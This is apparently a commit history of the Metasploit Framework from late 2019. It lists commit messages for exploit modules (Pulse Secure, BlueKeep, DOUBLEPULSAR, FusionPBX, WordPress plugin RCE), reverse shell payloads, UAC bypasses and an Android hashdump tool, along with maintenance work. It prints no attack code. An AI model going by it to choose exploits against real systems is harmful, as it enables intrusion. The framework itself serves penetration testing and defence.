Compare commits

...

1729 Commits

Author SHA1 Message Date
Adam Galway 104710ca41 Land #12627, alter scanner info method for check 2019-12-04 15:04:11 +00:00
Metasploit cc361e7dbb automatic module_metadata_base.json update 2019-12-03 19:30:58 -06:00
h00die faadf8e283 Land #12646, ms04_007 reliability and stability updates 2019-12-03 20:22:37 -05:00
h00die d65757faa4 further killbill fixes 2019-12-03 20:22:05 -05:00
Metasploit a14df776b0 automatic module_metadata_base.json update 2019-12-03 19:17:44 -06:00
h00die ce4bb563fc Land #12656, reliability and stability notes for ms06_040 2019-12-03 20:08:21 -05:00
Brent Cook b7b7ad906e Land #12659, make faraday spec slightly less strict 2019-12-03 14:20:41 -06:00
Jeffrey Martin fb8d9ec95b slightly less strict faraday in spec 2019-12-03 14:16:38 -06:00
Brent Cook d5d90dcbc3 Land #12655, update cert generation to not generate years in the past 2019-12-03 12:37:21 -06:00
Brent Cook ab9e7f720b bump rex-socket with related changes 2019-12-03 12:26:04 -06:00
Brent Cook c4837966d1 Land #12658, pin faraday to avoid warnings from octokit on start 2019-12-03 12:20:29 -06:00
Brent Cook 19db4ed4f1 update Gemfile.lock 2019-12-03 12:12:52 -06:00
Adam Galway 774a93df1f use faraday gem version compatabile with octokit 2019-12-03 17:40:36 +00:00
Brent Cook 3dc64f142a Land #12657, suggest local exploit as better replacement for meterpreter scripts 2019-12-03 11:23:45 -06:00
William Vu 26f7c8f599 Suggest exploit/windows/local/persistence
The persistence and metsvc Meterpreter scripts use a built-in payload,
so the local exploit is a more appropriate match.
2019-12-03 11:08:23 -06:00
Brendan Coles 3e7857d146 Add reliability and stability notes to ms06_040_netapi 2019-12-03 06:32:02 +00:00
Brendan Coles c036fc3df9 Fix ssl_generate_certificate to not generate expired certs - Fix #12634 2019-12-03 06:16:12 +00:00
Pearce Barry 8a370cf2ca Land #12637, set any passed workspace if db is active 2019-12-02 17:05:16 -06:00
Pearce Barry 5ac09e8281 Land #12631, set db workspace in handler when active 2019-12-02 17:04:05 -06:00
Pearce Barry 2de71aba72 Minor typo... 2019-12-02 16:13:05 -06:00
Brent Cook d3a636eb6a Land #12509, add check result to RPC API 2019-12-02 11:37:43 -06:00
Metasploit 95047f9fee automatic module_metadata_base.json update 2019-12-01 10:21:16 -06:00
dwelch-r7 41569b78ba Land #12503, Add exploit module for Ajenti 2.1.31 2019-12-01 16:13:06 +00:00
Metasploit e206cdafb3 automatic module_metadata_base.json update 2019-12-01 09:49:23 -06:00
dwelch-r7 ed94499ea6 Land #12422, Add module for enumerating git keys 2019-12-01 15:39:54 +00:00
Brendan Coles ba05e91d19 Add Reliability notes 2019-11-30 06:28:12 +00:00
Brendan Coles a6723c12fb Add stability notes to ms04_007_killbill 2019-11-30 06:16:41 +00:00
Metasploit d2f83f868d automatic module_metadata_base.json update 2019-11-29 06:58:10 -06:00
Brendan Coles 5fde74de4f Land #12644, Fix iis75_ftpd_iac_bof crash when returned banner is nil 2019-11-29 12:59:19 +00:00
h00die f17fe39bda dos iis75 nocrash 2019-11-29 07:15:17 -05:00
Metasploit 579b001bd3 automatic module_metadata_base.json update 2019-11-29 04:20:46 -06:00
Christophe De La Fuente 373d147efd Land #12555 - Wordpress Plainview Activity Monitor RCE 2019-11-29 11:10:24 +01:00
leo-lb 1cf9a2eb53 Update wp_plainview_activity_monitor_rce.rb 2019-11-28 20:13:21 +01:00
leo-lb 2372f7e40d Update wp_plainview_activity_monitor_rce.rb 2019-11-28 20:10:17 +01:00
Metasploit b7ee610a67 Bump version of framework to 5.0.63 2019-11-28 12:08:21 -06:00
Jeffrey Martin 75f78fbce4 set any passed workspace if db is active 2019-11-27 17:19:44 -06:00
leo-lb 853fea736d Update wp_plainview_activity_monitor_rce.rb 2019-11-27 22:28:33 +01:00
leo-lb 60b98fd20c Update wp_plainview_activity_monitor_rce.rb 2019-11-27 21:59:54 +01:00
leo-lb 9b5265f49a Update wp_plainview_activity_monitor_rce.rb 2019-11-27 21:57:24 +01:00
Wyatt Dahlenburg 02bb97fba6 Forced gitserver to required and improved status messages 2019-11-27 11:18:01 -06:00
Jeffrey Martin af0215a8d4 set db workspace in handler when active 2019-11-27 08:39:51 -06:00
Brent Cook ea1c1aa745 Land #12622, add aux docs for dlsw_leak_capture and ftpbounce 2019-11-26 14:46:19 -06:00
Metasploit 3d304dcbc4 automatic module_metadata_base.json update 2019-11-26 12:43:46 -06:00
Brent Cook 9e47bff246 Land #12624, add pingback payload specs 2019-11-26 12:34:23 -06:00
dwelch-r7 70395f2c23 Land #12629, fix typo in splunk upload app exec 2019-11-26 18:26:46 +00:00
Adam Cammack bcb4f6b1e6 Land #12623, Stub tests for compiled payloads 2019-11-26 10:04:21 -06:00
Francesco Soncina 45bee2d500 Update splunk_upload_app_exec.rb 2019-11-26 15:38:34 +01:00
dwelch-r7 47b31a152e Alter scanners info method to show check supported properly 2019-11-26 04:21:06 +00:00
Kenneth LaCroix 7129a058e5 Update ftpbounce.md 2019-11-25 21:01:53 -07:00
Kenneth LaCroix ce523bbf12 Create ftpbounce.md and update dlsw)leak_capture.md 2019-11-25 20:56:20 -07:00
Metasploit 5bf0d64325 automatic module_metadata_base.json update 2019-11-25 18:44:39 -06:00
William Vu 6f1117eee1 Land #12625, DOUBLEPULSAR exploit print updates 2019-11-25 18:36:13 -06:00
William Vu b22d2a1685 Update prints in DOUBLEPULSAR exploit check method
vprint_good should be print_warning, and most vprints should be print,
even if in check, since check is critical functionality.
2019-11-25 18:33:46 -06:00
Jeffrey Martin a417919e22 seperate x86 single and staged encrypted 2019-11-25 18:28:02 -06:00
Jeffrey Martin 97dbcc9476 seperate x64 single from staged 2019-11-25 17:19:38 -06:00
Jeffrey Martin ece57f4da6 add pingpack payload specs 2019-11-25 16:50:19 -06:00
Jeffrey Martin e883b07fd6 add helper for payloads not cached 2019-11-25 15:59:32 -06:00
Jeffrey Martin a428c1a4a6 stub test for compiled encrypted payloads 2019-11-25 14:02:34 -06:00
Metasploit 3f6a19be1a automatic module_metadata_base.json update 2019-11-25 13:12:41 -06:00
dwelch-r7 a8847a1d2a Land #12475, enhancements to brute_dirs module 2019-11-25 19:04:30 +00:00
Brent Cook c08ed0e953 Land #12613, make :workspace key more consistent 2019-11-25 10:39:01 -06:00
Metasploit 37ae4bd669 automatic module_metadata_base.json update 2019-11-25 10:31:22 -06:00
Adam Cammack dc9a1c0307 Land #12618, Add tests for the JJS payloads 2019-11-25 10:21:34 -06:00
Kenneth LaCroix 1221e800d3 Update dlsw_leak_capture.md 2019-11-24 18:26:02 -07:00
Kenneth LaCroix e8bee9f3b4 Create dlsw_leak_capture.md 2019-11-24 16:31:57 -07:00
h00die f10b08a3b1 Land #12607 a bunch of aux docs 2019-11-23 13:00:46 -05:00
h00die 238bfa9b67 module touchups 2019-11-23 12:59:51 -05:00
Kenneth LaCroix 0f7d0b3bea bcoles suggestions 2019-11-23 06:07:58 -07:00
Kenneth LaCroix eb044226f3 formatting and created empty_udp.ms 2019-11-23 04:08:55 -07:00
Kenneth LaCroix fdc7123592 Formatting and versioning 2019-11-22 21:41:06 -07:00
Kenneth LaCroix e952f6ad54 Update versions used 2019-11-22 20:40:52 -07:00
Kenneth LaCroix b0802ebf98 Update dns_amp.md 2019-11-22 19:30:20 -07:00
Kenneth LaCroix b2f66e7fb6 Create dns_amp.md 2019-11-22 16:50:35 -07:00
Jeffrey Martin ba06624e57 consistent usage of :workspace key 2019-11-22 11:16:22 -06:00
Kenneth LaCroix 45ba7acf00 Update konica_ftp_traversal.md 2019-11-21 21:27:50 -07:00
Kenneth LaCroix 0d8ae2a53a Create konica_ftp_traversal.md 2019-11-21 21:27:01 -07:00
Kenneth LaCroix e054fdddbb Addressed changes requested by h00die 2019-11-21 20:52:15 -07:00
Jeffrey Martin 8d057518ce add jjs payload tests and set cached sizes 2019-11-21 16:38:18 -06:00
Metasploit 9cae9b939b Bump version of framework to 5.0.62 2019-11-21 12:08:35 -06:00
Brent Cook f8c84c9928 Land #12530, add encrypted, compilable shell payloads 2019-11-21 08:59:46 -06:00
Brent Cook 51f26a91c0 rename singles to match staged payloads 2019-11-21 05:19:39 -06:00
Kenneth LaCroix 5a81032d2a Update pcman_ftp_traversal.md 2019-11-20 20:53:33 -07:00
Kenneth LaCroix d0741f8180 Create pcman_ftp_traversal.md 2019-11-20 20:34:30 -07:00
Metasploit 8785b07dc3 automatic module_metadata_base.json update 2019-11-20 14:23:42 -06:00
bwatters-r7 c841306cb0 Land #12544, Add bind/reverse jjs unix cmd payloads
Merge branch 'land-12544' into upstream-master
2019-11-20 14:14:11 -06:00
Shelby Pace 0f5a3a3d64 use one cipher object
The c code was modified in order to keep
track of the context.
2019-11-20 11:24:23 -06:00
Shelby Pace bf2bfb3b39 use chacha20 class 2019-11-20 10:42:03 -06:00
Onur ER fa1647190e Update ajenti_auth_username_cmd_injection.rb 2019-11-20 19:09:24 +03:00
Onur ER 841e524b6f Update modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-20 18:08:33 +03:00
Onur ER af59efa4cd Update modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-20 18:08:23 +03:00
Kenneth LaCroix 413023c477 Formatting changes to afp_login.md and created documentation for windows_deployment_services module. 2019-11-19 21:39:59 -07:00
Kenneth LaCroix 21e4a356df Update db2_auth.md 2019-11-19 20:17:30 -07:00
Kenneth LaCroix 0ba4ecbf88 Create db2_version.md 2019-11-19 20:08:23 -07:00
Kenneth LaCroix d12602ef00 Create db2_auth.md 2019-11-19 19:56:30 -07:00
Shelby Pace deb57a1df0 add modified chacha implementation, format_uuid 2019-11-19 20:16:16 -06:00
Brent Cook 3e951b3f4b Land #12457, consolidate workspace actions 2019-11-19 17:10:36 -06:00
Kenneth LaCroix 11fa1cb3f5 Update apple_acpp_scanner.md 2019-11-19 15:24:35 -07:00
Kenneth LaCroix adafae6300 Create apple_accp_scanner and afp_login module documentation. 2019-11-19 14:20:22 -07:00
Metasploit fdf477077c automatic module_metadata_base.json update 2019-11-19 10:50:17 -06:00
bwatters-r7 b3c44a45c6 Land #12602, scanners: fix a couple of typos
Merge branch 'land-12602' into upstream-master
2019-11-19 10:41:25 -06:00
Federico Pellegrin b81545acee scanners: fix a couple of typos 2019-11-19 10:15:46 +01:00
Adam Cammack 5565ef9450 Return check codes from scanner runs 2019-11-19 00:35:17 -06:00
Adam Cammack da81c1600e Trivial specs on the attrs for now 2019-11-19 00:30:44 -06:00
Adam Cammack 9d41818899 Always trigger the Simple interface 2019-11-19 00:28:17 -06:00
Metasploit 3b6c5ac28e automatic module_metadata_base.json update 2019-11-19 00:24:53 -06:00
Tim W 6fa16c7020 Land #12593, fix android hashdump hash format 2019-11-19 13:37:16 +08:00
Metasploit 61b04e769c automatic module_metadata_base.json update 2019-11-18 17:45:41 -06:00
Brent Cook 42a06583b8 Land #12601, don't store public-only ssh creds 2019-11-18 17:37:19 -06:00
Metasploit f1d49c3863 automatic module_metadata_base.json update 2019-11-18 17:21:21 -06:00
Brent Cook 23f66f85eb Land #12479, fix error running sap_mgmt_con_brute_login 2019-11-18 17:12:46 -06:00
Brent Cook 27eb17d4ff Land #12583, add web report methods to web data proxy 2019-11-18 17:07:50 -06:00
Metasploit be74a217a5 automatic module_metadata_base.json update 2019-11-18 15:24:51 -06:00
Brent Cook ccff82f818 Land #12589, restrict windows/local/persistence_service to working session types 2019-11-18 15:15:50 -06:00
Metasploit 060bc0495f automatic module_metadata_base.json update 2019-11-18 15:13:13 -06:00
Shelby Pace 86a7495e70 add require 2019-11-18 15:12:15 -06:00
Shelby Pace 140eecac1f use new chacha implementation 2019-11-18 14:42:47 -06:00
MangyCoyote cfd86f6412 ssh_creds module tries to store ssh public keys (#1)
Resolves #12599
2019-11-18 21:28:47 +01:00
Brent Cook 73950eef50 Land #12516, Add Windows Escalate UAC Protection Bypass 2019-11-18 14:25:07 -06:00
Shelby Pace 2e73a9fe3f check for mixin that uses db 2019-11-18 13:45:24 -06:00
Shelby Pace e5d418e913 generalize saving and retrieval of db info 2019-11-18 13:41:01 -06:00
Brent Cook 5936d2c415 use a finer-grained exception here 2019-11-18 12:57:33 -06:00
Onur ER f93fda79f6 Add Module Documentation 2019-11-18 20:25:56 +03:00
Metasploit ea56158d53 automatic module_metadata_base.json update 2019-11-18 10:28:57 -06:00
bwatters-r7 2736cbc84c Land #12588, Remove unsupported session type
Merge branch 'land-12588' into upstream-master
2019-11-18 10:19:01 -06:00
Shelby Pace 3fa9e9b0a8 add Dependencies array with mingw arch class 2019-11-18 09:35:18 -06:00
Shelby Pace 41bc3851a2 remove mingw check, add general dependency check 2019-11-18 09:33:43 -06:00
Metasploit 56944c8364 automatic module_metadata_base.json update 2019-11-18 02:19:14 -06:00
Brent Cook 41161ba917 Land #12585, use post API for shell compat in enum_hostfile 2019-11-18 02:09:09 -06:00
Metasploit 4a9b48deaa automatic module_metadata_base.json update 2019-11-18 01:55:38 -06:00
Brent Cook 5a6e4c031d Land #12494, Add Windows backup system sdclt uac bypass module 2019-11-18 01:47:11 -06:00
Brent Cook 09730aebf4 s/http/https/ 2019-11-18 01:45:57 -06:00
Shelby Pace 60d48ebde5 add x86 and x64 classes 2019-11-17 19:45:22 -06:00
h00die a0e45f4841 fixes for android hashdump 2019-11-17 13:44:19 -05:00
Brendan Coles facf16b860 Declare correct SessionType - Fix #12586 2019-11-16 04:58:02 +00:00
Brendan Coles 9e37fb3ece Declare correct SessionType - Fix #12587 2019-11-16 04:57:18 +00:00
Brendan Coles f5fbdcacc3 Add support for shell sessions to post/windows/gather/enum_hostfile 2019-11-16 04:07:01 +00:00
dwelch-r7 a97c145ba9 Allow for optional workspaces 2019-11-16 00:26:25 +00:00
dwelch-r7 191cbcdd12 Add some missing remote data calls
Also adds some extra verification for the specified workspace in incoming requests
2019-11-16 00:04:44 +00:00
Shelby Pace aa058eaca3 remove ternary 2019-11-15 13:02:53 -06:00
bwatters-r7 d093c75ae5 Stupid pry.... 2019-11-15 12:27:42 -06:00
bwatters-r7 1e95e1c956 Fix up required reg additions for different windows versions
Add module docs
2019-11-15 12:20:50 -06:00
Shelby Pace 51a392f8a6 change default value 2019-11-15 11:59:40 -06:00
Metasploit 6b586552bd automatic module_metadata_base.json update 2019-11-15 11:36:05 -06:00
William Vu 05721ef2ec Land #12581, additional BlueKeep doc fixes 2019-11-15 11:26:06 -06:00
William Vu 1d6e0a8638 Further correct target documentation 2019-11-15 11:23:28 -06:00
William Vu 6e904ea105 Fix/clarify target documentation for BlueKeep 2019-11-15 11:14:00 -06:00
dwelch-r7 dfaba0a98e Add endpoints for report_web_* 2019-11-15 16:33:28 +00:00
Metasploit 4ad895e7d6 automatic module_metadata_base.json update 2019-11-15 05:09:59 -06:00
Tim W 41e3bccdaa Land #12497, add android hashdumper for cracking Android pin codes 2019-11-15 18:13:16 +08:00
Metasploit 640bf58321 automatic module_metadata_base.json update 2019-11-14 15:28:12 -06:00
William Vu 8564d63767 Land #12575, 2008 caveat note in BlueKeep exploit 2019-11-14 15:19:44 -06:00
William Vu 618a7c9771 Land #12567, tribute banner for the console 2019-11-14 14:47:08 -06:00
Metasploit a08f046cb1 Bump version of framework to 5.0.61 2019-11-14 12:55:01 -06:00
William Vu 28ecefadb8 Warn about fDisableCam in automatic mode 2019-11-14 11:08:27 -06:00
William Vu cb6d85bee2 Add suggestion about GROOMBASE 2019-11-14 11:08:14 -06:00
William Vu fc64ac42af State 2008 caveat in module description and doc 2019-11-14 10:57:42 -06:00
Brent Cook bbe95e393d initial integration work 2019-11-14 10:29:58 -06:00
Brendan Coles 5f976f0c45 Land #12570, Fix compile failure handling in Post::Linux::Compile 2019-11-14 08:09:13 +00:00
h00die 8b8c70b145 add samsung and md5 processing 2019-11-13 21:48:25 -05:00
Cory Kennedy a66a59ae2a Changed Filename 2019-11-13 20:26:49 -06:00
Cory Kennedy 03117ea685 Update SecKC.txt 2019-11-13 20:26:01 -06:00
Metasploit b7f4eba8b7 automatic module_metadata_base.json update 2019-11-13 11:44:06 -06:00
sinn3r 5c6686a105 Land #12532, Add FusionPBX Command exec.php Command Execution
Add FusionPBX Command exec.php Command Execution
2019-11-13 11:33:21 -06:00
sinn3r 66ad5deb47 Land #12531, Add FusionPBX Operator Panel exec.php Command Execution
Add FusionPBX Operator Panel exec.php Command Execution
2019-11-13 11:31:30 -06:00
sinn3r 71cbefa5e8 Land #12534, Add FreeSWITCH Event Socket Command Execution
Add FreeSWITCH Event Socket Command Execution
2019-11-13 11:27:53 -06:00
Brent Cook fff9f51d07 add initial ruby implementation of chacha
Note this is the original version with the 64-bit IV and 64-bit block
counter. This can be changed to the RFC version in a bit.
2019-11-13 09:22:14 -06:00
Metasploit b93ef61c06 automatic module_metadata_base.json update 2019-11-13 08:45:46 -06:00
Shelby Pace 1ebef8bcb2 Land #12529, add CMSMS object inject exploit 2019-11-13 08:37:05 -06:00
Shelby Pace f79a35d428 check response 2019-11-13 08:34:23 -06:00
Metasploit b510c04f61 automatic module_metadata_base.json update 2019-11-13 02:29:49 -06:00
William Vu 8e208daec2 Land #12572, .rubocop.yml renamed cop fix 2019-11-13 02:15:21 -06:00
William Vu 349bc93054 Land #12573, DOUBLEPULSAR exploit style fixes 2019-11-13 02:13:54 -06:00
William Vu 45e2a3b229 Address RuboCop review 2019-11-13 02:10:03 -06:00
William Vu 7a4c48ee27 Fix style in exploit/windows/smb/doublepulsar_rce 2019-11-13 02:04:14 -06:00
William Vu 671836b93b Fix renamed RuboCop check in .rubocop.yml 2019-11-13 01:45:01 -06:00
Metasploit fc300c6bf4 automatic module_metadata_base.json update 2019-11-13 00:48:01 -06:00
William Vu 1d94564af4 Land #12571, DOUBLEPULSAR exploit metadata updates 2019-11-13 00:35:28 -06:00
William Vu 4877032e8a Update exploit/windows/smb/doublepulsar_rce info 2019-11-13 00:30:09 -06:00
Tim W d364c22541 fix NameError uninitialized constant Msf::Post::Linux::Compile::Failure 2019-11-13 12:30:02 +08:00
h00die ec63c4c419 fix negative bug, add docs 2019-11-12 22:32:07 -05:00
scanu92 d9b0c1aa2f add advanced options ForceExploit 2019-11-12 23:03:28 +01:00
scanu92 1489e03f0a Update cmsms_object_injection_rce.rb 2019-11-12 23:02:16 +01:00
scanu92 78ea784e84 Update modules/exploits/multi/http/cmsms_object_injection_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-11-12 23:00:31 +01:00
Cory Kennedy 7d9ab29c8c Create SecKC.txt 2019-11-12 15:55:26 -06:00
Metasploit 493c48dcd6 automatic module_metadata_base.json update 2019-11-12 15:52:58 -06:00
Shelby Pace baf27f9654 Land #12542, add Bludit File Upload Exploit 2019-11-12 15:44:34 -06:00
h00die f47721c907 Merge pull request #14 from timwr/android_hashdump
fallback to settings.db if locksettings.db does not exist
2019-11-12 16:33:01 -05:00
Metasploit dea692a5bd automatic module_metadata_base.json update 2019-11-12 03:17:11 -06:00
William Vu 7d77c0fd5a Land #12543, myworkspace.id to myworkspace_id fix 2019-11-12 03:09:08 -06:00
Metasploit b1aeb5d040 automatic module_metadata_base.json update 2019-11-12 03:06:45 -06:00
William Vu 3c1fa90a75 Land #12515, Pulse Secure VPN RCE 2019-11-12 02:55:01 -06:00
William Vu add013283d Land #12511, Pulse Secure VPN file read redux 2019-11-12 02:51:11 -06:00
William Vu a8e289ee9c Code-block env(1) 2019-11-12 02:46:18 -06:00
William Vu f14eda45e8 Land #12537, minimum Ruby version in gemspec 2019-11-12 02:28:04 -06:00
William Vu a267ad9d64 Reference env(1) as the reason we have useful RCE 2019-11-12 02:17:58 -06:00
William Vu a17b2c2041 Add module doc 2019-11-12 02:10:10 -06:00
William Vu 8df559eceb Update print to warning 2019-11-12 02:09:43 -06:00
Tim W 6ac4d9ca33 skip if no -wal and -shm exists, and remove salt length check 2019-11-12 16:07:37 +08:00
wvu-r7 0c4580f254 Calibrate timeout for hax
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-12 02:03:52 -06:00
William Vu de72ed8545 Print our glorious success 2019-11-12 02:02:53 -06:00
William Vu 238c931fd3 Don't fail module if blocking through timeout 2019-11-12 01:55:56 -06:00
William Vu d8e612726c Note that an admin SID is required at present 2019-11-12 01:46:23 -06:00
William Vu 1573664c78 Reduce timeout for when the shell pops 2019-11-12 01:41:19 -06:00
Tim W da3f298a9b fallback to settings.db if locksettings.db does not exist 2019-11-12 15:40:28 +08:00
William Vu bc5b0645dd Fix typo 2019-11-12 01:25:36 -06:00
William Vu 2c6c46701c Update DefaultOptions 2019-11-12 01:23:53 -06:00
William Vu 8664ac9dd8 Add target print 2019-11-12 01:17:28 -06:00
William Vu e9fb4a2528 Check for nil
Oops.
2019-11-12 01:10:26 -06:00
William Vu f4c7690247 Print cmd/unix/generic command output, minus HTML 2019-11-12 01:08:56 -06:00
William Vu 09901fdf56 Clarify session cookie could be invalid 2019-11-12 01:08:25 -06:00
William Vu 5b825e8245 Readd cmd/unix/generic target with manual badchars 2019-11-12 01:08:09 -06:00
Metasploit 2a02c6b318 automatic module_metadata_base.json update 2019-11-11 17:49:45 -06:00
William Vu 22da634ddc Land #12553, Meltdown fix for BlueKeep exploit 2019-11-11 17:33:52 -06:00
William Vu 4f2cab4cf1 Add references 2019-11-11 17:33:10 -06:00
Metasploit 70a3aab8ac automatic module_metadata_base.json update 2019-11-11 15:55:53 -06:00
bwatters-r7 3b57705a1f Land #11390, Add exploit module for Xorg X11 Server Local Privilege Escalation on AIX
Merge branch 'land-11390' into upstream-master
2019-11-11 15:42:54 -06:00
Wei Chen 717a31c7c3 Fix typos and format 2019-11-11 14:47:56 -06:00
bwatters-r7 820aa4f46c Update documents with vimeo video example and update SideEffects value
in the module cache.
2019-11-11 14:28:07 -06:00
Shelby Pace d1e9538f9c use stager_name 2019-11-11 09:32:28 -06:00
Shelby Pace 7d5deafcee add check for cipher 2019-11-11 09:11:51 -06:00
bwatters-r7 ef6ae90ca6 Add case statement for admin check 2019-11-11 09:00:11 -06:00
William Vu b6b131e808 Land #12556, 64K ought to be enough for anyone 2019-11-10 21:25:48 -06:00
Brendan Coles d172534417 64K ought to be enough for anyone 2019-11-10 09:49:49 +00:00
lle-bout 1d7cdac421 Add Wordpress Plainview Activity Monitor RCE
Description:

```
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.
```
2019-11-10 08:27:45 +01:00
h00die f8ef7a8db9 add crack_mobile, handle negative hashes 2019-11-09 15:55:53 -05:00
Wyatt Dahlenburg a2aba34112 Trimmed test_keys method 2019-11-09 12:00:22 -06:00
h00die f27afeae65 android hashdump docs 2019-11-09 10:11:45 -05:00
h00die 6d23059cc0 android hashdump updates 2019-11-09 10:11:45 -05:00
h00die 389f269dcd first test of android hashdumper 2019-11-09 10:09:18 -05:00
zerosum0x0 01d84c5654 remove syscall hook 2019-11-08 19:44:52 -07:00
Shelby Pace 8b5260f6ab use OptEnum for optimization level 2019-11-08 08:58:56 -06:00
Metasploit a72067ced5 automatic module_metadata_base.json update 2019-11-07 21:32:19 -06:00
Jeffrey Martin eb07305104 Land #11695, Password Cracker Overhaul(ie hashcat) 2019-11-07 19:09:52 -06:00
Christophe De La Fuente 94939837e0 Land #12550, update .mailmap
Add @adamgalway-r7 contact details to the mailmap
2019-11-07 23:25:40 +01:00
Shelby Pace bfa27e6bed add flag, use DefaultOptions for linker script 2019-11-07 15:33:31 -06:00
bwatters-r7 f426206246 update code from bcoles suggestions. 2019-11-07 15:30:53 -06:00
Metasploit e46b5dc701 Bump version of framework to 5.0.60 2019-11-07 12:19:38 -06:00
Shelby Pace 1a88e7610b add optimization flag, use basename method 2019-11-07 10:46:57 -06:00
William Vu a1bbc86cd0 Land #12547, null-pointer-deref.txt update to MSF5 2019-11-07 10:14:55 -06:00
Metasploit db87cb72ef automatic module_metadata_base.json update 2019-11-07 10:09:03 -06:00
Dustin f1a6d3924e Update metasploit-framework.gemspec
Set minimum `v2.5`

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-07 11:07:43 -05:00
William Vu 2b3c2b6af5 Land #12535, module traits for some local exploits 2019-11-07 10:00:39 -06:00
William Vu d34dd39e6a Land #12522, THREADS clarification 2019-11-07 09:58:19 -06:00
William Vu dedbd616c8 Fix wording 2019-11-07 09:57:39 -06:00
Adam Galway ff8ba05ef1 Add my contact details to the mailmap 2019-11-07 14:21:10 +00:00
Metasploit a55fde4ae5 automatic module_metadata_base.json update 2019-11-07 04:25:11 -06:00
h00die 9cf62d02f9 land #12492 coldfusion rds updates 2019-11-07 05:16:29 -05:00
Jeff McJunkin 8b462083be Update banner for MSF5 2019-11-07 20:47:44 +11:00
Metasploit ef01eafa6b automatic module_metadata_base.json update 2019-11-06 21:01:06 -06:00
dwelch-r7 876a307816 Land #9396, Linux net snmpd rw access 2019-11-07 02:52:47 +00:00
Metasploit 0966efce7e automatic module_metadata_base.json update 2019-11-06 20:36:10 -06:00
h00die 0b750c96e4 land #12546 gemfile.lock fix 2019-11-06 21:27:38 -05:00
h00die 6b472b68f8 remove merge conflict marks 2019-11-06 21:20:19 -05:00
h00die f0443deb2a resolved merge conflicts for payload 1.3.79 integration 2019-11-06 21:15:11 -05:00
h00die 381963e246 update payloads to 1.3.79 2019-11-06 21:12:50 -05:00
dwelch-r7 2ab1b9071f remove unsupported check 2019-11-07 01:34:16 +00:00
dwelch-r7 61dc3ad487 Replace manual escaping with shellescape function 2019-11-07 01:33:42 +00:00
Metasploit e8e7539863 automatic module_metadata_base.json update 2019-11-06 13:54:12 -06:00
Shelby Pace 3d14b88a50 Land #12507, add rConfig Command Injection module 2019-11-06 13:45:15 -06:00
Brent Cook e9b36520c5 Land #12495, add Android module docs 2019-11-06 08:39:01 -08:00
Brent Cook 740687c2fa capitalize Android 2019-11-06 08:28:35 -08:00
layderv 247546f96d Fix: auxiliary/kerberos_enumusers stops after first match 2019-11-06 09:46:24 +00:00
Brendan Coles 706bb89777 Add cmd/unix/bind_jjs payload 2019-11-06 07:58:31 +00:00
Brendan Coles 19dba2f243 Add cmd/unix/reverse_jjs payload 2019-11-06 07:57:46 +00:00
Tim W 5711effa24 update comments 2019-11-06 14:59:49 +08:00
h00die 06f7027fd8 udapted docs 2019-11-06 15:57:33 +09:00
Loïc Jaquemet 818a5ab164 Update modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb
as per suggested fix

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-05 21:45:05 -07:00
William Vu 5235759187 Merge remote-tracking branch 'upstream/master' into pr/12220 2019-11-05 09:56:38 -06:00
Wei Chen 553601210a Add CVE-2019-16113: Bludit Directory Traversal Image Upload Exploit 2019-11-05 08:57:15 -06:00
Tim W 812409a491 Use a random apk name 2019-11-05 15:55:20 +08:00
Adam Cammack f4cea619e8 Land #12510, Option to allow partial HTTP response 2019-11-05 01:34:54 -06:00
h00die 7620cefca4 start of janus table 2019-11-04 23:31:45 +09:00
h00die cb1caaca94 add cleanup 2019-11-04 23:31:45 +09:00
h00die 4f2fab797f janus upgrades 2019-11-04 23:31:45 +09:00
Dustin Eichler 154719854e Set minimum ruby version 2019-11-03 09:46:47 -05:00
Brendan Coles 38498305d3 Add module notes for Reliability and Stability 2019-11-03 00:33:24 +00:00
scanu92 1ae2f66c7c Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:33:17 +01:00
scanu92 8a3f7a6b21 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:55 +01:00
scanu92 1850cfd0c1 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:32 +01:00
scanu92 a307f4f41a Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:10 +01:00
scanu92 1a4777670b Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:30:18 +01:00
Brendan Coles 6dc94bbca9 Update documentation 2019-11-02 22:37:56 +00:00
Brendan Coles f5afbe7104 Update documentation 2019-11-02 22:35:58 +00:00
Brendan Coles 0d1dd242ea Fix typos 2019-11-02 22:09:23 +00:00
Brendan Coles e0faff6944 Add documentation 2019-11-02 22:03:10 +00:00
Brendan Coles f239b5db8f Add FreeSWITCH Event Socket Command Execution 2019-11-02 22:03:02 +00:00
scanu92 632e423236 Update cmsms_object_injection_rce.rb 2019-11-02 21:31:08 +01:00
scanu92 33303746f8 Update cmsms_object_injection_rce.rb 2019-11-02 21:29:38 +01:00
Brendan Coles 89b277c360 Add documentation 2019-11-01 23:38:59 +00:00
Brendan Coles c2b40d2924 Add FusionPBX Command exec.php Command Execution 2019-11-01 23:38:51 +00:00
Brendan Coles 9346013974 Use bg_system API command 2019-11-01 22:17:26 +00:00
Brendan Coles 08d51acd18 Update targets 2019-11-01 20:33:23 +00:00
Brendan Coles 73a8381639 Add documentation 2019-11-01 20:12:03 +00:00
Brendan Coles 1e3705e47d Add FusionPBX Operator Panel exec.php Command Execution 2019-11-01 20:11:55 +00:00
Brent Cook f21bcaede9 Land #12463, Fix delimiter selection on powershell payload commands 2019-11-01 11:12:24 -05:00
William Vu c9cc8c547f Remove "now" from moved_from message
It's confusing to the user, since they think the prompt will change.
Thanks, @h00die.
2019-11-01 10:22:40 -05:00
